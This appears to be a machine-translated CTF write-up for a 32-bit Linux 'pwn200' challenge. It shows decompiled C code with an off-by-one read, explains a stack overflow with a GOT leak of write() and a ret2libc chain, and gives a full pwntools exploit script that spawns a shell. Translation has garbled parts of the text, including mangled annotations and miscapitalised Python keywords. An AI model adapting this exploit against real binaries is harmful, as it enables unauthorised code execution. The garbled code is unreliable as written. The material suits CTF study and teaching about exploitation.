Code:
int __cdecl Main (int argc, const char **ARGV, const char **ENVP)
{
int result; [Email protected]
Char sloganstr; [Sp+1ch] [bp-9ch]@1
Char namestr[16]; [Sp+9ch] [bp-1ch]@1
size_t nbytes; [Sp+ach] [bp-ch]@1
Nbytes = 16;
* (_dword *) namestr = 0;
* (_dword *) &namestr[4] = 0;
* (_dword *) &namestr[8] = 0;
* (_dword *) &namestr[12] = 0;
memset (&sloganstr, 0, 0x80u);
Write (1, "Input name:", 0xCu);
Read (0, NAMESTR, nbytes + 1);
if (strlen (NAMESTR)-1 <= 9 &&!strncmp ("Syclover", Namestr, 8u))
{
Write (1, "Input slogan:", 14u);
Read (0, &sloganstr, nbytes);
result = Write (1, &sloganstr, nbytes);
}
Else
{
result =-1;
}
return result;
}
Idea:
Using the idea, first make use of 1bit man-made Vulnerability (syclover+\00+ ' a ' *7+\ff) to modify the second length (read words should be the direct maximum on the line?). Well
The second input can cause control of the input stream. But the program opens NX, so use RET2LIBC. The RET2LIBC needs to have the address of the system, so it also needs to be leak once (by constructing the frame structure called by the write function, calling a write), so first the call to write is constructed (the write call here is not in the program, because it is not so good to use _ A call in the PLT, which can return a function header after a call, prints out the contents of the Got table, then controls the input stream to jump to the start of the program/function, and then constructs the stack frame for the second time to get the shell. (EBP?) Jump to the beginning of the function, so-called ROP)
Step:
Modified length Yes
Control input stream, jump to function start Yes
Constructs a write stack frame call to the Write function (leak) Yes
Reference Urlencoder Construction Ret2libc√
Exploit:
#Exploit for [email protected]
# @Windcarp 2015.08.11
From PWN Import *
#init
Context (Arch = ' i386 ', os = ' Linux ')
Local=true
If Local:
p = Process ("./pwn200")
libc = ELF ("/lib/i386-linux-gnu/libc.so.6")
Else
Pass
binary = ELF ("pwn200")
#address
WRITE_LIBC = libc.symbols["Write"]
SYSTEM_LIBC = libc.symbols["System"]
BINSH_LIBC = Libc.search ('/bin/sh '). Next ()
Ret_addr_str = ' \xac\x84\x04\x08 '
#payload
Payload = ' syclover ' + ' \x00 ' + ' a ' * 7 + ' \xb4 '
Payload2 = ' a ' * 0x80 + ' b ' * (4 * 8) + ' \xa0\x83\x04\x08 '
payload3 = ' \xac\x84\x04\x08\x01\x00\x00\x00\x60\x98\x04\x08\xff\x00\x00\x00 '
Payload4 = ' syclover ' + ' \x00 ' + ' a ' * 7 + ' \xff '
#pause for GDB to attach
Raw_input ()
#first Step
#attention to fit
P.recvuntil ("Name:")
P.send (payload) #no ' \ n '
#second Step
P.recvuntil ("slogan:")
P.send (payload2 + payload3)
Leakdata = P.recvuntil ("Name:")
WRITEADDR = leakdata[-266:-262]
WRITE_ADDR = U32 (writeaddr)
Print "[*] leakaddr" + str (hex (WRITE_ADDR))
LIBC_ADDR = WRITE_ADDR-WRITE_LIBC
SYSTEM_ADDR = libc_addr + system_libc
BINSH_ADDR = libc_addr + binsh_libc
Payload5 = ' a ' * 0x80 + ' b ' * (4 * 8)
Payload5 + = P32 (system_addr) + Ret_addr_str + p32 (binsh_addr)
P.send (PAYLOAD4)
P.recvuntil ("slogan:")
P.send (payload5 + ' \ n ')
#yeah! We got the shell!
P.interactive ()
Ps:
This question is only worth 200 cents to cry. Do you think that human-inserted (nbyte+1) is the basis for giving points?
Unfortunately do not know how gdb input invisible characters, or debugging will be easier. Headache%>_<%
Although it is the basis of the topic, but also to clarify a lot of problems (rop,ret2libc,function Controller,plt got)
Finally, sometimes the distance succeeds with only one ' \ n ' (the difference between write and printf)
"PWN"[email protected] Day lesson